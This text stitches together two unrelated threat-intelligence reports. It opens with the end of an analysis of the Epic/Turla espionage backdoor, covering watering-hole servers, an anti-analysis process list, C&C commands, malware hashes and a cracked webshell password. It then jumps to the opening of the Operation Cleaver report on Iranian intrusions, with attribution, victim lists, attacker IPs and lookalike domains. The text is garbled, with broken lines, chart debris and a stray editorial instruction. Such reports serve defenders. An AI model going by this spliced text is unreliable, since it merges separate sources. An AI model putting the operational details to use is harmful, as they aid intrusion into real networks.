The attackers operate the mothership using a network of
proxies and VPN servers for anonymity reasons.
The mothership also work as the exploitation servers
used in the watering hole attacks, delivering Java, IE or fake applications to the victim.
We were able to get a copy of one of the motherships, which provided some insight into the operation.
It runs a control panel which is password protected:
Epic mothership control panel login
Once logged into the Control panel, the attackers can see a general overview of the system including the
number of interesting potential targets:
Epic control panel status overview
A very interesting file on the servers is task.css, where the attackers define the IP ranges they are
interested in.
To change the file, they are using the "Task editor" from the menu.
Depending on the
"tasks", they will decide whether to infect the visitors or not.
In this case, we found they targeted two
ranges belonging to:
"Country A" - Federal Government Network
"Country B" - Government Telecommunications and Informatics Services Network
It should be noted though, the fact that the attackers were targeting these ranges doesn't necessarily mean
they also got infected.
Some other unknown IPs were also observed in the targeting schedules.
There is also an "except.css" file where attackers log the reasons they didn't try to exploit certain visitors.
There are three possible values:
TRY
DON'T TRY -> Version of the browser and OS does not meet the conditions
DON'T TRY -> (2012-09-19 10:02:04) - checktime < 60
These are the "don't meet the conditions" reasons observed in the logs:
Windows 7 or 2008 R2
MSIE 8.0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)
Adobe Shockwave 11.5.1.601
Adobe Flash 10.3.181.14
Adobe Reader 10.1.0.0
Win Media Player 12.0.7601.17514
Quick Time null
MS Word null
Java null
The Epic / Tavdig / Wipbot backdoor
For this first stage of the attack, the threat actor uses a custom backdoor.
In some cases, the backdoor is
packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated.
This makes the analysis
more difficult.
The CVE-2013-5065 exploit allows the backdoor to achieve administrator privileges on the system and run
unrestricted.
This exploit only works on unpatched Microsoft Windows XP systems.
Other known detection names for the backdoor is Trojan.
Wipbot (Symantec) or Tavdig.
The main backdoor is about 60KB in size and implements a C&C protocol on top of normal HTTP
requests.
The communication protocol uses
requests in the C&C replies, which the malware decrypts and processes.
The replies are sent back to the
C&C through the same channel.
The malware behavior is defined by a configuration block.
The configuration block usually contains two
hard-coded C&C URLs.
He have also seen one case where the configuration block contains just one URL.
The configuration can also be updated on the fly by the attackers, via the C&C.
The backdoor attempts to identify the following processes and, if found, it will terminate itself:
tcpdump.exe
windump.exe
ethereal.exe
wireshark.exe
ettercap.exe
snoop.exe
dsniff.exe
It contains an internal unique ID, which is used to identify the victim to the C&C.
Most samples, especially
old ones, have the ID 1156fd22-3443-4344-c4ffff.
Once a victim is confirmed as "interesting", the
attackers upload another Epic backdoor which has a unique ID used to control this specific victim.
During the first C&C call, the backdoor sends a pack with the victim's system information.
All further
information sent to the C&C is encrypted with a public key framework, making decryption impossible.
The
commands from the C&C are encrypted in a simpler manner and can be decrypted if intercepted because
the secret key is hardcoded in the malware.
Through monitoring, we were able to capture a large amount of commands sent to the victims by the
attackers, providing an unique view into this operation.
Here's a look at one of the encrypted server
replies:
Once a victim is infected and "checks in" with the server, the attackers send a template of commands:
Next, the attackers try to move through the victim's network using pre-defined or collected passwords:
Listing all .doc files recursively is also a common "theme":
In total, we have decoded several hundreds of these command packages delivered to the victims, providing
an unique insight into the inner workings of the attackers.
In addition to generic searches, some very specific lookups have been observed as well.
These include
searches for:
*NATO*.msg
eu energy dialogue*.
*
EU*.msg
Budapest*.msg
In this case, the attackers were interested to find e-mails related to "NATO", "Energy Dialogue within
European Unition" and so on.
For some of the C&C servers, the attackers implemented RSA encryption for the C&C logs, which makes it
impossible to decrypt them.
This scheme was implemented in April 2014.
Lateral movement and upgrade to more sophisticated backdoors
Once a victim is compromised, the attackers upload several tools that are used for lateral movement.
One such tool observed in the attacks and saved as "C:\Documents and Settings\All users\Start
Menu\Programs\Startup\winsvclg.exe" is:
Name: winsvclg.exe
MD5: a3cbf6179d437909eb532b7319b3dafe
Compiled: Tue Oct 02 13:51:50 2012
This is a keylogger tool that creates %temp%\~DFD3O8.tmp.
Note: the filename can change across
victims.
On one Central Asian government's Ministry of Foreign Affairs victim system, the filename used
was "adobe32updt.exe".
In addition to these custom tools, we observed the usage of standard administration utilities.
For instance,
another tool often uploaded by the attackers to the victim's machine is "winrs.exe":
Name: winrs.exe
MD5: 1369fee289fe7798a02cde100a5e91d8
This is an UPX packed binary, which contains the genuine "dnsquery.exe" tool from Microsoft, unpacked
MD5: c0c03b71684eb0545ef9182f5f9928ca.
In several cases, an interesting update has been observed -- a malware from a different, yet related family.
Size: 275,968 bytes
MD5: e9580b6b13822090db018c320e80865f
Compiled: Thu Nov 08 11:05:35 2012
another example:
Size: 218,112 bytes
MD5: 071d3b60ebec2095165b6879e41211f2
Compiled: Thu Nov 08 11:04:39 2012
This backdoor is more sophisticated and belongs to the next level of cyber-espionage tools called the
"Carbon system" or Cobra by the Turla attackers.
Several plugins for the "Carbon system" are known to
exist.
Decoded configuration for e9580b6b13822090db018c320e80865f
Note: the command and control servers www.losguayaberos[.
]com and
thebesttothbrushes[.
]com have been sinkholed by Kaspersky Lab.
Other packages delivered to the victims include:
MD5: c7617251d523f3bc4189d53df1985ca9
MD5: 0f76ef2e6572befdc2ca1ca2ab15e5a1
These top level packages deploy both updated Epic backdoors and Turla Carbon system backdoors to
confirmed victims, effectively linking the Epic and Turla Carbon operations together.
The Turla Carbon dropper from these packages has the following properties:
MD5: cb1b68d9971c2353c2d6a8119c49b51f
This is called internally by the authors "Carbon System", part of the "Cobra" project, as it can be seen from
the debug path inside:
This acts as a dropper for the following modules, both 32 and 64 bit:
MD5                                                     Resource number
4c1017de62ea4788c7c8058a8f825a2d                        101
43e896ede6fe025ee90f7f27c6d376a4                        102
e6d1dcc6c2601e592f2b03f35b06fa8f                        104
554450c1ecb925693fedbb9e56702646                        105
df230db9bddf200b24d8744ad84d80e8                        161
91a5594343b47462ebd6266a9c40abbe                        162
244505129d96be57134cb00f27d4359c                        164
4ae7e6011b550372d2a73ab3b4d67096                        165
The Carbon system is in essence an extensible platform, very similar to other attack platforms such as the
Tilded platform or the Flame platform.
The plugins for the Carbon system can be easily recognized as they
always feature at least two exports named:
ModuleStart
ModuleStop
Carbon system plugin with characteristic exports
Several Epic backdoors appear to have been designed to work as Carbon system plugins as well - they
require a specialized loader to start in victim systems that do not have the Carbon system deployed.
Some modules have artifacts which indicate the Carbon system is already at version 3.x, although the
exact Carbon system version is very rarely seen in samples:
The author of the Carbon module above can be also seen in the code, as "gilg", which also authored several
other Turla modules.
We are planning to cover the Turla Carbon system with more details in a future report.
Language artifacts
The payload recovered from one of the mothership servers (at
newsforum.servehttp[.
]com/wordpress/wp-includes/css/img/upload.php, MD5:
4dc22c1695d1f275c3b6e503a1b171f5, Compiled: Thu Sep 06 14:09:55 2012) contains two modules, a
loader/injector and a backdoor.
Internally, the backdoor is named "Zagruzchick.dll":
The word "Zagruzchick" means "boot loader" in Russian.
The Control panel for the Epic motherships also sets the language to codepage "1251":
Codepage 1251 is commonly used to render Cyrillic characters.
There are other indications that the attackers are not native English language speakers:
Password it´s wrong!
Count successful more MAX
File is not exists
File is exists for edit
The sample e9580b6b13822090db018c320e80865f that was delivered to several Epic victims as an
upgraded backdoor, has the compilation code page language set to "LANG_RUSSIAN".
The threat actor behind the "Epic" operation uses mainly hacked servers to host their proxies.
The hacked
servers are controlled through the use of a PHP webshell.
This shell is password protected; the password is
checked against an MD5 hash:
The MD5 "af3e8be26c63c4dd066935629cf9bac8" has been solved by Kaspersky Lab as the
password "kenpachi".
In February 2014 we observed the Miniduke threat actor using the same backdoor
on their hacked servers, although using a much stronger password.
Once again, it is also interesting to point out the usage of Codepage 1251 in the webshell, which is used to
render Cyrillic characters.
There appears to be several links between Turla and Miniduke, but we will leave that for a future blogpost.
Victim statistics
On some of the C&C servers used in the Epic attacks, we were able to identify detailed victim statistics,
which were saved for debugging purposes by the attackers.
This is the country distribution for the top 20 affected countries by victim's IP:
According to the public information available for the victims' IPs, targets of "Epic" belong to the following
categories:
Government
Ministry of interior (EU country)
Ministry of trade and commerce (EU country)
Ministry of foreign/external affairs (Asian country, EU country)
Intelligence (Middle East, EU Country)
Embassies
Military (EU country)
Education
Research (Middle East)
Pharmaceutical companies
Unknown (impossible to determine based on IP/existing data)
Summary
When G-Data published their Turla paper, there were few details publicly available on how victims get
infected with this malware campaign.
Our analysis indicates this is a sophisticated multi-stage infection;
which begins with Epic Turla.
This is used to gain a foothold and validate the high profile victim.
If the
victim is interesting, they get upgraded to the Turla Carbon system.
Most recently, we observed this attack against a Kaspersky Lab user on August 5, 2014, indicating the
operation remains fresh and ongoing.
Note: A full analysis of the Epic attacks is available to the Kaspersky Intelligent Services
customers.
Contact: intelreports@kaspersky.com
We would like to add the following at the end of the blogpost, right before the detection names:
Further reading
If you'd like to read more about Turla/Uroburos, here's a few recommendations:
G-Data's paper "Uroburos Highly complex espionage software with Russian roots"
BAE Systems analysis of "The Snake campaign"
"Uroburos: the snake rootkit", technical analysis by deresz and tecamac
"TR-25 Analysis - Turla / Pfinet / Snake/ Uroburos" by CIRCL.LU
Kaspersky products' detection names for all the malware samples described in this post:
Backdoor.
Win32.Turla.an
Backdoor.
Win32.Turla.ao
Exploit.JS.CVE-2013-2729.a
Exploit.JS.Pdfka.gkx
Exploit.
Java.CVE-2012-1723.eh
Exploit.
Java.CVE-2012-1723.ou
Exploit.
Java.CVE-2012-1723.ov
Exploit.
Java.CVE-2012-1723.ow
Exploit.
Java.CVE-2012-4681.at
Exploit.
Java.CVE-2012-4681.au
Exploit.MSExcel.CVE-2009-3129.u
HEUR:Exploit.
Java.CVE-2012-1723.gen
HEUR:Exploit.
Java.CVE-2012-4681.gen
HEUR:Exploit.
Java.
Generic
HEUR:Exploit.
Script.
Generic
HEUR:Trojan.
Script.
Generic
HEUR:Trojan.
Win32.Epiccosplay.gen
HEUR:Trojan.
Win32.Generic
HackTool.
Win32.Agent.vhs
HackTool.
Win64.Agent.b
Rootkit.
Win32.Turla.d
Trojan-Dropper.
Win32.Dapato.dwua
Trojan-Dropper.
Win32.Demp.rib
Trojan-Dropper.
Win32.Injector.jtxs
Trojan-Dropper.
Win32.Injector.jtxt
Trojan-Dropper.
Win32.Injector.jznj
Trojan-Dropper.
Win32.Injector.jznk
Trojan-Dropper.
Win32.Injector.khqw
Trojan-Dropper.
Win32.Injector.kkkc
Trojan-Dropper.
Win32.Turla.b
Trojan-Dropper.
Win32.Turla.d
Trojan.HTML.Epiccosplay.a
Trojan.
Win32.Agent.iber
Trojan.
Win32.Agent.ibgm
Trojan.
Win32.Agentb.adzu
Trojan.
Win32.Inject.iujx
Trojan.
Win32.Nus.g
Trojan.
Win32.Nus.h
Technical Appendix with IOCs
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“Iran should be considered a first-tier cyber power.”
Gabi Siboni
Israel Institute for National Security Studies cybersecurity expert
“Iran has rapidly gained near parity with the Chinese but
may be closer to the Russians in terms of swagger.”
Retired Admiral William J. Fallon
Former Commander CENTCOM
“Global critical infrastructure organizations need to take this
threat seriously.
The Iranian adversary is real and they’re
coming, if not already here.”
Mark Weatherford
Former Deputy Under Secretary for Cybersecurity at the US Department of Homeland Security
“Yes, China and one or two others
can shut down our power grids.”
Admiral Michael Rogers
Director of the National Security Agency and head of US Cyber Command
“The world has combated cyber threats by doing the same
thing over and over again … It’s the definition of insanity.”
Jeff Moss
Co-Chair DHS Community Resiliency Task Force, Founder of DEFCON and BlackHat
Jalal ad-Din Muhammad Rumi
13th Century Persian poet, jurist, theologian and Sufi mystic
English translation: “Silence gives answers.”
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PREVENTION IS EVERYTHING
A personal note from Cylance, CEO Stuart McClure
O
n February 24, 1989, United Flight 811 left Honolulu, Hawaii, on its way to Auckland, New Zealand, with
364 souls on board.
Somewhere between 23,000 and 24,000 feet an enormous explosion ejected nine
passengers into the dark void over the Pacific Ocean.1 This aviation disaster was later determined to have
been caused by a simple design flaw combined with the lack of corrective action.
Boeing and the FAA had
known about this problem for over one year prior to the accident.
The result: nine people lost their lives.
The other 337
passengers plus 18 crew members who survived, live with the memory every day; all of it due to a highly preventable
design flaw.
As a 19-year-old young adult, I was grateful to have survived but I had no idea how that single event would
impact my future in such a profound way.
Much of my passion for cybersecurity can be directly attributed to that
fateful day.
The United Flight 811 accident proves just how important it is to detect flaws before tragedy strikes.
Preventable
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disasters like this are what motivates the Cylance team to create a safer world.
We do everything we can to uncover
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the flaws in technologies before they damage the physical or cyber world.
Our mission is simple: to protect the world.
This report is an attempt to deliver on that mission.
20 and professionally for more than 26 years, there is no doubt in my mind
After tracking hackers both personally
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that the release of the information contained in the Operation Cleaver report is vital to the security of the world’s
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critical infrastructure.
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The focus of the Operation Cleaver report is on one particular Iranian team we’ve dubbed Tarh Andishan, the
infrastructure they utilize, as well as their tactics, techniques and procedures.
Roughly translated, “Tarh Andishan”
means “thinkers” or “innovators”.
This team displays an evolved skillset and uses a complex infrastructure to perform
attacks of espionage, theft, and the potential destruction of control systems and networks.
While our investigation is
ongoing, and we presently have limited visibility inside many of the compromised networks, Cylance observed Tarh
Andishan actively targeting, attacking, and compromising more than 50 victims since at least 2012.
Cylance is committed to responsible disclosure and has refrained from exaggeration and embellishment in this
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report, limiting our content to only that which can be definitively confirmed.
However, we have speculated on the
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possible motivations behind these attacks, given our deep knowledge and understanding of the cyber landscape.
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We have made every effort to notify all affected entities prior to publishing this report.
Additionally, all personally
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identifiable information about the members of Operation Cleaver has been withheld.
We don’t care who the adversary
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is, where they work or reside, who they’re dating or what party photos they upload to Facebook – all we care about is
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preventing campaigns like Operation Cleaver from negatively affecting the real world.
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This report is for the world’s cyber defenders – never give up!
Sincerely,
Stuart McClure
CEO/President
Cylance, Inc.
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TABLE OF CONTENTS
Executive Summary ......................................................................... 5
Background ........................................................................................ 6
Why the name “Cleaver”?
............................................................. 8
Why Expose Iran Now?
.................................................................. 8
Critical Discoveries ......................................................................... 9
Targets & Victims ............................................................................ 12
Attribution ......................................................................................... 17
Attacker IP Addresses .............................................................. 18
Attacker Domains ...................................................................... 19
Tools & Software ........................................................................ 20
Tarh Andishan ............................................................................ 24
Members ...................................................................................... 26
Teams ............................................................................................ 30
Tactics, Techniques & Procedures (TTPs) ............................... 31
Initial Compromise ..................................................................... 32
Privilege Escalation & Pivoting ............................................... 36
Exfiltration .................................................................................... 41
Persistence .................................................................................. 47
Mitigation .......................................................................................... 60
Speculation: The Why ................................................................... 62
Conclusion ........................................................................................ 65
References ........................................................................................ 67
About Cylance ................................................................................. 68
Cylance Products ........................................................................... 69
Cylance Services ............................................................................ 70
Acknowledgments ...................................................................... 71
The Operation Cleaver Logo ...................................................... 72
Appendix A: Indicators of Compromise (IOC) ........................ 73
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EXECUTIVE SUMMARY
Since at least 2012, Iranian actors have directly attacked,
established persistence in, and extracted highly sensitive
materials from the networks of government agencies and major
critical infrastructure companies in the following countries:
Canada, China, England, France, Germany, India, Israel,
Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea,
Turkey, United Arab Emirates, and the United States.
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Iran is the new China.
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Operation Cleaver has, over
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and infiltration campaign.
To date it has successfully evaded detection by existing security
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technologies.
The group is believed to work from Tehran, Iran, although auxiliary team
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members were identified in other locations including the Netherlands, Canada, and the UK.
The group successfully leveraged both publicly available, and customized tools to attack and
compromise targets around the globe.
The targets include military, oil and gas, energy and
utilities, transportation, airlines, airports, hospitals, telecommunications, technology, education,
aerospace, Defense Industrial Base (DIB), chemical companies, and governments.
During intense intelligence gathering over the last 24 months, we observed the technical
2
capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed
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Iranian effort.
As Iran’s cyber warfare capabilities continue to morph,2 the probability of an attack
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that could impact the physical world at a national or global level is rapidly increasing.3 Their
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capabilities have advanced beyond simple website defacements, Distributed Denial of Service
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(DDoS) attacks, and Hacking Exposed style techniques.
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With minimal separation between private companies and the Iranian government, their modus
operandi seems clear: blur the line between legitimate engineering companies and state-
sponsored cyber hacking teams to establish a foothold in the world’s critical infrastructure.
Iran’s rising expertise, along with their choice of victims, has compelled us to release this report
sooner than we would have liked in order to expose Operation Cleaver to the world.
The
evidence and indicators of compromise we provide in this report will allow potentially unaware
victims to detect and eliminate Cleaver’s incursions into their networks.
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BACKGROUND
Iran has been severely impacted by debilitating and extremely
advanced malware campaigns since at least 2009.
Famous
examples of these efforts include industrial sabotage via
Stuxnet (2009 - 2010), and espionage with Duqu (2009 - 2011)
as well as Flame (2012).
These campaigns have targeted Iran’s
nuclear program, and oil and gas operations.
Stuxnet was an
eye-opening event for Iranian authorities, exposing them to the
world of physical destruction via electronic means.
Hacking campaigns sourced out of Iran are nothing new.
Since the early 2000’s, the information
security industry as a whole has tracked teams like the Iranian Cyber Army, which mainly focuses
on patriotic hacking (website defacements).
After the release of Stuxnet, Iran’s motivations appear
to have shifted.
Retaliation for Stuxnet began almost immediately in 2011 with campaigns like the
certificate compromises of Comodo and DigiNotar.
These attacks served as a warning, showcasing
the rapid evolution of Iran’s hacking skills.
A major retaliation came in the form of 2012’s Shamoon campaign, which impacted RasGas and
Saudi Aramco.
It’s estimated that Shamoon impacted over 30,000 computer endpoints and cost
the affected companies tens-of-thousands of hours recovering from the attacks.
The direct financial
impact from this retaliation and amount of downtime experienced were staggering.
Shamoon was
truly a watershed event for security defenders.
It was the first glimpse into the real capabillity and
intention of Iranian cyber operations.
We see the same motivation and intent here in Operation
Cleaver: establishing a beachhead for cyber sabotage.
We saw further Iranian backlash in late 2012 and early 2013 in the form of Operation Ababil’s
Distributed Denial of Service (DDoS) attacks against US banks.
These attacks were debilitating and
impacted the availability of online banking services.
Yet more backlash was witnessed with FireEye’s
exposure of Operation Saffron Rose, an espionage campaign executed by the Ajax Security Team
in 2014.
In May 2014, evidence emerged of a highly targeted waterhole attack that leveraged social
media, dubbed Operation Newscaster, which was uncovered by iSight Partners.
In June 2013, Israeli Prime Minister Benjamin Netanyahu accused Iran of carrying out “non-stop”
attacks on “[Israel’s] vital national systems” including “water, power and banking”4.
The following
September of 2013, the Wall Street Journal accused Iran of hacking into unclassified U.S. Navy
computers in San Diego’s NMCI (Navy Marine Corp Intranet),5 which we can confirm was part of
Operation Cleaver.
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While previously reported operations attributed to Iran have largely focused on Defense Industrial
Base (DIB) companies, the United States Federal Government, or targets in Middle Eastern countries,
Operation Cleaver has instead focused on a wide array of targets, including energy producers
and utilities, commercial airlines and airports, military intelligence, aerospace, hospitals, and
even universities – with only ten of the targets based in the United States.
Such broad targeting
demonstrates to the world that Iran is no longer content to retaliate against the US and Israel alone.
They have bigger intentions: to position themselves to impact critical infrastructure globally.
ORIGINATION                                                                                                          RETALIATION
2010
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FL ME
SHAM                                             N
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Saffr n Rose
NEWSCASTER
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Figure 1: The sequence of major Iran-centric attacks; either as victims (left) or attackers (right).
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WHY THE NAME CLEAVER?
The string cleaver is found several times in a variety of custom software used in Operation
Cleaver, including:
1   Numerous references inside the namespaces of their custom bot code
codenamed TinyZBot, e.g.
:
e:\projects\cleaver\trunk\zhoupin_cleaver\obj\x86\release\netscp.pdb
2   PDBs associated with the hacker name “Jimbp”, e.g.
:
c:\users\jimbp\desktop\binder_1 - for cleaver\binder_1\obj\x86\release\setup.pdb
3   PDBs associated with the keystroke loggers, artifacts, and numerous other tools, e.g.
:
e:\Projects\Cleaver\trunk\MainModule\obj\Release\MainModule.pdb
WHY EXPOSE IRAN NOW?
We believe our visibility into this campaign represents only a fraction of Operation Cleaver’s full
scope.
We believe that if the operation is left to continue unabated, it is only a matter of time
before the world’s physical safety is impacted by it.
While the disclosure of this information will
be a detriment to our ability to track the activity of this group, it will allow the security industry as
a whole to defend against this threat.
As such, we are exposing this cyber campaign early in an
attempt to minimize additional real-world impact and prevent further victimization.
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CRITICAL DISCOVERIES
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CRITICAL DISCOVERIES
Iranian Actors Are Behind Operation Cleaver
•	 Persian hacker names are used throughout the campaign including: Salman Ghazikhani,
Bahman Mohebbi, Kaj, Parviz, Alireza, and numerous others.
•	 Numerous domains used in the campaign were registered in Iran.
•	 Infrastructure leveraged in the attack was registered in Iran to the corporate entity Tarh
Andishan, which translates to “invention” or “innovation” in Farsi.
•	 Source netblocks and ASNs are registered to Iran.
•	 Hacker tools warn when their external IP address traces back to Iran.
•	 The infrastructure is hosted through Netafraz.com, an Iranian provider out of Isfahan, Iran.
•	 The infrastructure utilized in the campaign is too significant to be a lone individual or a small
group.
We believe this work was sponsored by Iran.
Operation Cleaver Targets Critical Infrastructure Around the World
•	 US Military targets including NMCI in October 2013.5 Confirmed targeting of global
government entities.
•	 Networks and systems targeted in critical industries like energy and utilities, oil and gas, and
chemical companies.
•	 Assets (both cyber and physical) and logistics information were compromised at major airline
operators, airports, and transportation companies.
•	 Various global telecommunications, technology, healthcare, aerospace, and defense
companies were breached as part of the operation.
•	 Confidential critical infrastructure documents were harvested from major educational
institutions around the world.
Iran’s Cyber Hacking Skills Have Evolved
•	 Initial compromise techniques include SQL injection, web attacks, and creative deception-
based attacks – all of which have been implemented in the past by Chinese and Russian
hacking teams.
•	 Pivoting and exploitation techniques leveraged existing public exploits for MS08-067 and
Windows privilege escalations, and were coupled with automated, worm-like propagation
mechanisms.
•	 Customized private tools with functions that include ARP poisoning, encryption, credential
dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and
SMB communications, network interface sniffing, and keystroke logging.
•	 The ability to build customized tools to compromise any target they choose.
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Indicators of Compromise (IOC)
•	 Private signing certificates of one victim were captured allowing the Operation Cleaver team to
compromise the entirety of their organization.
•	 Over the past two years, Cylance has collected over 8GB of data including over 80,000 files of
exfiltrated data, hacker tools, victim logs, and highly sensitive reconnaissance data.
•	 Data from sinkholed command and control servers has allowed us to track this active campaign.
•	 Cylance is releasing more than 150 IOCs and samples associated with the Cleaver campaign to
empower the security community to detect existing compromises in their own organizations, as
well as potentially block future attacks from these teams.
Speculation
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This campaign continues Iran’s retaliation for Stuxnet, Duqu, and Flame.
•
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This is a state-sponsored campaign.
•
•	                          20
There is a possibility that this campaign could affect airline passenger safety.
This campaign’s intentions may be to damage Industrial Control Systems (ICS), Supervisory
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Control and Data Acquisition (SCADA) systems, and impact Critical Infrastructure and Key
Resources (CIKR).
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•	 This campaign could be a way to demonstrate Iran’s cyber capabilities for additional
geopolitical leverage, due to the breadth and depth of their global targets.
•	 There is an intense focus on CIKR companies in South Korea, which could give Iran additional
clout in their burgeoning partnership with North Korea.
In September 2012, Iran signed an
extensive agreement for technology cooperation agreement with North Korea, which would
allow for collaboration on various efforts including IT and security.6
•	 Iran is recruiting from within the universities and potentially using ‘hackers for hire’.7
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TARGETS & VICTIMS
The Cleaver team targets some of the most sensitive global critical infrastructure companies in the
world, including military, oil and gas, airlines, airports, energy producers, utilities, transportation,
healthcare, telecommunications, technology, manufacturing, education, aerospace, Defense
Industrial Base (DIB), chemical companies and governments.
Countries impacted include Canada,
China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South
Korea, Turkey, United Arab Emirates, and the US.
The following is a breakdown by country of which industries were targeted and/or victimized:
Canada                       Kuwait                    South Korea
- Energy & Utilities
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- Oil & Gas
44 - Telecommunications      - Airlines
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- Hospitals                                            - Education
- Technology
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China                        - Oil & Gas               - Heavy Manufacturing
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- Aerospace
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Pakistan                  Turkey
- Airports                - Oil & Gas
England
- Education                  - Hospitals
- Technology              United Arab Emirates
France                       - Airlines                - Government
- Oil & Gas                                            - Airlines
2
Qatar
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Germany                      - Oil & Gas
United States
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- Government
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- Telecommunications                                   - Airlines
- Airlines
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- Education
9
India                      86                          - Chemicals
- Education                  Saudi Arabia              - Transportation
546  - Oil & Gas               - Energy & Utilities
- Airports                - Military/Government
Israel                                                 - Defense Industrial Base
- Aerospace
- Education
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Cleaver’s level of access into each organization varied greatly, including completely compromised
systems and networks, Active Directory domain controllers and credentials, compromised data
repositories and stolen VPN credentials.
Compromised systems include Microsoft Windows web servers running IIS and ColdFusion,
Apache with PHP, many variants of Microsoft Windows desktops and servers, and Linux servers.
Compromised network infrastructure included Cisco VPNs as well as Cisco switches and routers.
Unlike Stuxnet, no exotic exploitations (such as 0-days) were observed.
Within our investigation, we had no direct evidence of a successful compromise of specific
Industrial Control Systems (ICS) or Supervisory Control and Data Acquisition (SCADA) networks, but
Cleaver did exfiltrate extremely sensitive data from many critical infrastructure companies allowing
them to directly affect the systems they run.
This data could enable them, or affiliated organizations,
to target and potentially sabotage ICS and SCADA environments with ease.
We discovered over 50 victims in our investigation, distributed around the globe.
Ten of these
victims are headquartered in the US and include a major airline, a medical university, an energy
company specializing in natural gas production, an automobile manufacturer, a large defense
contractor, and a major military installation.
The four targets in Israel and the five targets in Pakistan
are comprised of education, aerospace, airports, airlines, healthcare and technology.
Further victims
were identified in numerous Middle Eastern countries as well as ones in Northern Europe including
the UK, France, and Germany.
Central America was not immune either with a large oil and gas
company on the list.
In fact, oil and gas was a particular focal point for the Cleaver team, going after
no less than nine of these companies around the world.
Universities were targeted in the US, India, Israel, and South Korea.
The attackers targeted research
efforts, student information, student housing, and financial aid systems.
They had a penchant for
pictures, passports, and any specifc identifying information.
Perhaps the most bone-chilling evidence we collected in this campaign was the targeting and
compromise of transportation networks and systems such as airlines and airports in South Korea,
Saudi Arabia and Pakistan.
The level of access seemed ubiquitous: Active Directory domains
were fully compromised, along with entire Cisco Edge switches, routers, and internal networking
infrastructure.
Fully compromised VPN credentials meant their entire remote access infrastructure
and supply chain was under the control of the Cleaver team, allowing permanent persistence
under compromised credentials.
They achieved complete access to airport gates and their security
control systems, potentially allowing them to spoof gate credentials.
They gained access to PayPal
and Go Daddy credentials allowing them to make fraudulent purchases and allowed unfettered
access to the victim’s domains.
We were witnessed a shocking amount of access into the deepest
parts of these companies and the airports in which they operate.
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COUNTRIES TARGETED
4       6
1                       2
3
B
A              A                   5                                        B                     22
B
A                                A                       7
B
A                                                                                                                   21
B                                            23
B         B
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30
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9
12                  16
8
10
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33                  35                                                                  14
20        19 18
34                                                26
28
32        31
27
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Canada - Calgary                     13.
Mexico - Mexico City                          25.
UAE - Abu Dhabi
2.
Canada - Hamilton     546            14.
Pakistan - Karachi (2)                        26.
UAE - Al Garhoud
3.
China - Beijing                      15.
Pakistan - Lahore                             27.
USA - California - Los Angeles (2)
4.
England - Oxford                     16.
Pakistan - Multan                             28.
USA - California - San Diego
5.
France - Paris                       17.
Pakistan - Peshawar                           29.
USA - California - San Jose
6.
Germany - Dusseldorf                 18.
Qatar - Doha (4)                              30.
USA - Michigan - Dearborn
7.
Germany - Frankfurt                  19.
Saudi Arabia - Dhahran                        31.
USA - Texas - Houston (2)
8.
India - New Delhi (2)                20.
Saudi Arabia - Jeddah                         32.
USA - Texas - Fort Worth
9.
Israel - Haifa (3)                   21.
South Korea - Incheon                         33.
USA - Texas - Southlake
10.
Israel - Rehovot                    22.
South Korea - Goyang-si                       34.
USA - Virginia - Fairfax
11.
Kuwait - Ahmadi                     23.
South Korea - Seoul (7)                       35.
USA - Virginia - McLean
12.
Kuwait - Kuwait City                24.
Turkey - Antalya
Figure 2: Geographic distribution of victims, as determined by the global headquarters of the parent
company or organization breached.
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INDUSTRIES TARGETED
HIGH
LEVEL OF ACCESS
MEDIUM
LOW
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Figure 3: Number of Cleaver victims by the level of access obtained as well as the level of critical impact potential.
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ATTRIBUTION
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ATTRIBUTION
Despite today’s trend toward attacker attribution, we believe
it offers little real benefit to the day-to-day cyber defender.
However, in this report we offer our observations on the
sources of Operation Cleaver in order to benefit those that
rely on attribution such as Law Enforcement.
Operation Cleaver is believed to consist of at least 20
hackers and developers, collaborating on projects and
missions to support Iranian interests.
Many of the targets were
predominately English-speaking and a majority of the team
members were capable of reading and writing in English.
We
present evidence that this team is operating, at least in part,
out of Iran and in the interests of Iran.
The skills and behavior
of the Operation Cleaver teams are consistent with, and in
one case surpasses, Iran’s cyber capabilities as we know
them today.
For a complete list of IPs and domains related to this
campaign, please refer to the Indicators of Compromise              Figure 4: The logo of the Army of the
Guardians of the Islamic Revolution,
section.
also known as the Islamic Revolutionary
Guard Corps (IRGC).
ATTACKER IP ADDRESSES
Over the course of multiple incident response engagements related to Operation Cleaver, we
were able to identify a small set of IP addresses which were commonly used during the initial
stages of an attack.
The IP address 78.109.194.114 served as a source for one of the primary attackers.
They were observed conducting SQL injections, controlling backdoors, as well as exfiltrating
information using this address, and the address appears in multiple software configurations
recovered from staging servers over a period of time.
GeoIP Location: Iran
Net block: 78.109.194.96 - 78.109.194.127
Owner: Tarh Andishan
Email: tarh.andishan(at)yahoo.com
Phone: +98-21-22496658
NIC-Handle: TAR1973-RIPE
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This IP address was also observed in multiple software configurations.
This particular net block
was used over an extended period of time, indicating these were under the Cleaver team’s
physical control.
Additionally, prior netblocks used by the same team demonstrated to us that
this wasn’t simply a case of proxying or “island hopping”.
For more information see the Tarh
Andishan section of this report.
The IP address 159.253.144.209 was a source for a secondary attacker in various
compromises.
They were observed conducting SQL injection attacks.
While this IP was this
registered in the Netherlands, we believe they used Softlayer’s Citrix demo environment to
launch these attacks which is consistent with proxying or “island hopping”.
GeoIP Location: Netherlands
Net block: 159.253.144.208 - 159.253.144.223
ASN: Softlayer Technologies, Inc.
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IP Location: Netherlands, Amsterdam with Iranian sourcing.
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ATTACKER 2DOMAINS
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A number of Cleaver’s attack methods require a persistent server.
In many cases, these servers
were referenced by domain names.
The following malicious domains are operated by this
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organization and are grouped by the registrant’s email address.
davejsmith200(at)outlook.com      azlinux73(at)gmail.com
•	   Teledyne-Jobs.com                 • MicrosoftServerUpdate.com
•	   DownloadsServers.com              • WindowsSecurityUpdate.com
•	   NorthropGrumman.net               • WindowsServerUpdate.com
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•	   MicrosoftMiddleAst.com
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domain(at)netafraz.com
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salman.ghazikhani(at)outlook.com • EasyResumeCreatorPro.com
